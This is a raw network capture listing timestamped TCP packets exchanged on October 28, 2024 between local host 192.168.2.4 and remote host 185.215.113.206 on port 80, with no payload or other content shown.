Oct 28, 2024 06:27:25.217206955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.217211962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.217247009 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.217474937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.217561960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.217572927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.217585087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.217596054 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.217605114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.217614889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.217622995 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.217629910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.217634916 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.217642069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.217652082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.217658997 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.217673063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.217698097 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.217966080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.217976093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.217987061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.218007088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.218010902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.218022108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.218024969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.218034029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.218045950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.218056917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.218065977 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.218084097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.218094110 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.218094110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.218105078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.218122005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.218127012 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.218132973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.218151093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.218153954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.218166113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.218172073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.218180895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.218188047 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.218194008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.218204975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.218214035 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.218216896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.218241930 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.218257904 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.218276978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.218312979 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.218338966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.218349934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.218377113 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.218389034 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.337240934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.337265015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.337276936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.337343931 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.337424994 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.337532997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.337544918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.337562084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.337573051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.337583065 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.337587118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.337598085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.337601900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.337616920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.337626934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.337636948 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.337637901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.337651014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.337665081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.337667942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.337693930 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.337707996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.337718964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.337724924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.337737083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.337745905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.337749004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.337760925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.337764025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.337785959 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.337810993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.337872982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.337884903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.337896109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.337910891 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.337938070 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.337992907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338006020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338017941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338028908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338032961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.338041067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338063955 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.338088989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.338115931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338129044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338139057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338152885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.338162899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338171005 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.338196993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338202000 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.338208914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338238955 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.338274956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338285923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338296890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338309050 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.338340044 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.338362932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338376045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338403940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.338465929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338476896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338494062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338501930 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.338505983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338521957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338527918 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.338557959 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.338597059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338608027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338618994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338638067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.338664055 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.338675976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338692904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338705063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338711977 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.338716030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338728905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338749886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.338776112 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.338870049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338881016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338891983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338905096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.338933945 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.338933945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338946104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338957071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338968992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338970900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.338979959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.338998079 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.339025974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.339112997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.339124918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.339137077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.339152098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.339171886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.339174032 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.339184999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.339196920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.339207888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.339236975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.457588911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.457607031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.457669020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.457678080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.457832098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.457894087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.457905054 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.457905054 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.457940102 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.457995892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.458008051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.458018064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.458034992 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.458058119 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.458060026 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.458069086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.458080053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.458095074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.458123922 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.458152056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.458163023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.458174944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.458184958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.458189011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.458197117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.458223104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.458245993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.458265066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.458276033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.458286047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.458301067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.458322048 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.458385944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.458424091 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.458427906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.458440065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.458468914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.458472013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.458482981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.458494902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.458506107 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.458534956 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.458576918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.458587885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.458599091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.458611012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.458614111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.458643913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.458663940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.458698988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.458776951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.458798885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.458811045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.458815098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.458822966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.458833933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.458833933 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.458844900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.458851099 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.458857059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.458867073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.458892107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.458894968 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.458925009 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.458995104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.459006071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.459017038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.459039927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.459048986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.459059954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.459060907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.459086895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.459098101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.459192038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.459213972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.459227085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.459233999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.459239006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.459249973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.459253073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.459261894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.459274054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.459275961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.459285975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.459296942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.459301949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.459321022 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.459333897 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.459415913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.459469080 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.459532976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.459542990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.459553003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.459564924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.459568024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.459585905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.459594011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.459604979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.459609985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.459635019 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.459647894 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.459664106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.459673882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.459685087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.459697962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.459707975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.459716082 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.459719896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.459733009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.459734917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.459743023 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.459745884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.459755898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.459769964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.459799051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.459842920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.459878922 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.459892035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.459927082 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.578113079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.578124046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.578134060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.578144073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.578212023 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.578233004 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.578367949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.578397036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.578408003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.578423977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.578434944 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.578439951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.578444958 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.578453064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.578461885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.578474998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.578495026 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.578512907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.578531027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.578542948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.578553915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.578578949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.578593016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.578608990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.578634977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.578651905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.578664064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.578761101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.578769922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.578808069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.578883886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.578895092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.578906059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.578933001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.578944921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.578946114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.578955889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.578974962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.578986883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.578989029 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.578999996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.579011917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.579015970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.579046965 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.579054117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.579065084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.579076052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.579109907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.579109907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.579123020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.579164028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.579180956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.579194069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.579205036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.579225063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.579226971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.579250097 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.579271078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.579272985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.579282045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.579305887 CET	49758	80	192.168.2.4	185.215.113.206
